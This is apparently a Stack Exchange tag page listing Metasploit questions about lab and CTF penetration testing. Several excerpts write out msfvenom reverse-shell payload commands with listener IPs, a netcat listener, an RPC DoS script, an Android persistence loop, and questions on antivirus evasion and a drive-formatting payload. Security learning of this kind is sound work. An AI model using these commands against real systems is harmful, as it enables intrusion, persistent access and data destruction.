Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
1
vote
0answers
43 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
2
votes
0answers
40 views

Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]

I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM. https://github.com/rapid7/metasploit-framework/blob/master/...
0
votes
0answers
40 views

Metasploit not working propertly [closed]

I'm learning about Metasploit. I tried to use create a payload and use it but this always happens. I don't know why is this happening. I looked for info but I couldn't find anything that could help ...
0
votes
0answers
30 views

Snort throws no alerts at php/meterpreter_reverse_tcp connection?

Snort newbie here. I don't know what I'm doing wrong and I hope someone can help me. I set up snort on a pfSense VM, on the WAN interface i have a Kali VM connected, on the LAN interface there is a ...
0
votes
0answers
26 views

Nmap shows 0 hosts up after any discovery scan? [migrated]

I am running Kali in Virtual Box vm on Ubuntu. The network adapter is configured as Bridged with All options enabled. When I try nmap -sn 192.168.0.1/26 I get no hosts discovered but I can ping known ...
0
votes
1answer
58 views

How to use msfvenom elf approach for metasploitable 2?

How to use msfvenom elf approach for metasploitable 2? I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
1
vote
0answers
27 views

apache2 server online, but cannot access it on an Android device [closed]

I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
1
vote
0answers
39 views

A way to background meterpreter sessions from an autorunscript

I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command. For example: ...
1
vote
0answers
20 views

Problem using `multi/http/mediawiki_thumb`, possibly due to the `Authorization` header

My target requires the Authorization header with credentials to get into. I have the credentials but the module I'm using (multi/http/mediawiki_thumb) doesn't seem to have an option for Authorization. ...
0
votes
1answer
46 views

Metasploit - Where has JTR gone?

I remember using jtr in metasploit. jtr_crack_fast is no longer available for me along with other jtr commands. Yes i can still get regular jtr stand alone or just git but still. What happen to jtr in ...
0
votes
1answer
42 views

How can I generate a binary from an payload without any other addons?

For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons? (I am talking about using msfvenom FYI)
0
votes
0answers
58 views

Metasploit Tools Pattern Create not found though framework is installed

I've installed Metasploit but I can't find tools like msf-pattern_create but I do not see them in /usr/share/metasploit-framework/tools How can I install them ? I've already done apt-get install ...
0
votes
2answers
60 views

How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack. use auxiliary/dos/rpc/rpcbomb set RHOSTS Victim_IP_Address set RPORT 111 exploit -j -z I want ...
0
votes
2answers
97 views

Making My Own Custom Payload [closed]

I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
0
votes
1answer
62 views

Hanging on When Sending Stage

I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
-1
votes
1answer
55 views

Metasploit shell non-responsive

Metasploit successfully executes the exploit, but after that, I get a non-responsive shell: Do you know what could be the problem here?
1
vote
1answer
45 views

The output format of search in msfconsole

I see the following output from search in msfconsole. msf6 > search CVE-2014-3566 Matching Modules ================ # Name Disclosure Date Rank Check ...
1
vote
1answer
158 views

Penetration test on a infotainment system platform [closed]

I am pentesting an infotainment platform that is still under development. I did a nmap scan (for all ports with option -p-) of the platform and found a few open ports. 111/tcp open rpcbind 3490/tcp ...
1
vote
0answers
73 views

msfvenom: how to output assembly of windows payload for inline assembly in C?

My goal is to obfuscate metasploit windows payloads' assembly code (adding junk code to the payload itself), then adding the obfuscated shellcode to inline assembly in C. The issue is there is no ...
0
votes
0answers
31 views

Metasploit with multiple console instances

On msfconsole, we can share some things across the same workspace on another instance of msfconsole -- for example, services and creds. However, I see that sessions and routes are not shared across ...
0
votes
0answers
30 views

Metasploit payload not working on Android 10 [duplicate]

I tried to create a payload using msfvenom and it doesn't work on Android 10... What can be the possible reason and how to prevent it? And I used Metasploit on Termux to do it so is that a problem?
0
votes
1answer
48 views

Metasploit doesn't find exploit added from exploit-db [closed]

I'm using Metasploit. I tried adding the file 46731.rb to both /usr/share/metasploit-framework/modules/exploits/confluence/46731.rb and ~/.msf4/modules/exploits/msf4/46731.rb. Then I updated the ...
0
votes
0answers
71 views

metasploit: run nmap on compromised host

I have just compromised a computer(legal in my local environment) and want to run nmap from that host to see further inside the network. I know I can use metasploit modules like "auxillary/...
0
votes
0answers
219 views

Meterpreter shell reverse_tcp payload not opening session

I'm using msfvenom to create a payload with a calc.exe file as the template for a windows 7 machine using the HTTPS port. I create the file by using the following: msfvenom -a x86 --platform windows -...
1
vote
1answer
172 views

Pass the Hash & Unix

Purpose: test if PtH (Pass the hash) is feasible against Unix box Scenario: Windows host (Windows Server 2008) vulnerable to eternalblue got Administration hash as part of the post-exploitation ...
0
votes
0answers
69 views

generating payload whith autorun script

i want to generate payload whith persistence script that automatically setuped when victim install the payload in window . I know that a multi/handler allow to set autorunscript and it works fine. the ...
0
votes
0answers
37 views

buffer overflow exploit: vulnserver with additional 20 bytes of data?

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to ...
0
votes
1answer
580 views

What is the difference between SRVHOST and LHOST in metasploit?

What is the difference between SRVHOST and LHOST in Metasploit. I am testing an exploit in my virtual lab of which I had to set both options. LHOST was an option for the payload selected, while ...
0
votes
1answer
2k views

Meterpreter is closing connection - connection died

I am trying to run meterpreter on a vulnerable virtual box (FunBox -CTF) msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.x.x LPORT=443 R > shell.php After i upload the payload, running ...
0
votes
0answers
240 views

After connecting to my backdoor, Meterpreter session is unstable and not usable

I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
0
votes
1answer
151 views

Metasploit: Example Exploit for Windows 7 / Windows Server 2016

For testing purposes of a logging solution, I would like to simulate an attack by using Metasploit against a Windows 7 / Windows 2016 server. However, I am struggling to find a reliable exploit that ...
1
vote
1answer
116 views

How to set where the meterpreter payload is placed on the victim machine in metasploit?

Background I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
0
votes
1answer
219 views

metasploit: how to use linux/http/webmin_backdoor

I am trying to gain access to a server using CVE-2019-15107 with help of metasploit. I tried to find examples of its usage, but I found none. My machines ip is 192.168.109.133. I am connected to a vpn ...
0
votes
0answers
315 views

All encoders failed to encode metasploit

I am trying to use this exploit on HTB : https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi pretty simple yet metasploit gives me an error : all encoders failed to encode I have ...
0
votes
1answer
143 views

How to execute a custom meterpreter payload? [duplicate]

I've hacked a box in an internal network 10.0.0.1 and I want to use 'pass-the-hash attack' on another box 10.0.0.2 but this box has Avira anti-virus installed in, and the common payload windows/...
1
vote
0answers
179 views

Exploiting WebDav [closed]

I'm trying to exploit webdav by uploading a msfvenom generated php script to the target webdav server on windows xp machine using the default credentials - wampp(username), xampp(password). The ...
9
votes
1answer
2k views

What is a Payload Handler?

I'm new to the metasploit and in a book it was said that when a reverse shell is used by an attacker, a handler is initiated. I've searched the about it but doesn't found any satisfactory information ...
0
votes
0answers
146 views

Shell from meterpreter not responding to commands

Meterpreter session was created, framework latest. Victim machine: Ubuntu Screenshot of session: I am pretty sure the commands used to work before on the same machine. Shell commands are not working ...
0
votes
1answer
703 views

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe In ...
0
votes
0answers
447 views

Metasploit double reverse portfwd issues

I'm having an issue pivoting with meterpreter and portfwd and I am starting to wonder if what I am trying to do is even possible. My attacker (we'll say 10.80.6.3) machine has a shell on victim 1 and ...
2
votes
1answer
1k views

Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
0
votes
1answer
788 views

Metasploit over WAN (ngrok) - Specify different LHOST and LPORT for payload and listener in an exploit

I am testing some exploits over WAN with a port-forwarded server and am attempting to use a specific exploit module with the payload being a windows/meterpreter/reverse_tcp shell. This is all executed ...
0
votes
0answers
45 views

Metasploit unable to get local issuer certificate

I got the following versions: Framework: 5.0.86-dev Console: 5.0.86-dev The os that metasploit is installed are windows 10. I get a meterpreter session with an android device (genymotion virtual ...
1
vote
0answers
125 views

Prevent Android Meterpreter being killed when apps are closed

This is the bash script for my android payload #!/bin/bash while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 60 done The issue is when I do Clear ...
1
vote
1answer
494 views

msfvenom payload available formats

How can you tell the available output formats for a given payload in msfvenom? For example: this wont work: msfvenom -p cmd/unix/reverse_ssh LHOST=[ip] LPORT=4444 -f elf > out.elf but this will: ...
0
votes
0answers
82 views

autorunscript metasploit

I'm trying to run the following autoscript use exploit/multi/handler set payload … set lhost set lport set AutoRunScript multi_console_command -r /root/script.rc set ...
0
votes
0answers
165 views

Metasploit: Issue with upgrading a low privilege shell (sessions -u)

Setup info: I don't believe this is the issue as I regularly update my system. I'll add one piece of information as an example. If you would really like to the rest then I can add more in later ...
0
votes
0answers
105 views

Are metasploit exploits always Port specific (smb-samba)?

So I was trying a machine on vulnhub i found port 139 open and also found its service and version on nmap scan that was samba-4.3.11 i also ran auxiliary scan module to confirm the version and service ...
0
votes
1answer
39 views

specific metasploit question about handler

Can the handler exploit/multi/handler handle a connection from another type of payload ? payload generation: msfvenom LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -p windows/...
0
votes
1answer
109 views

When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...

1
2 3 4 5
10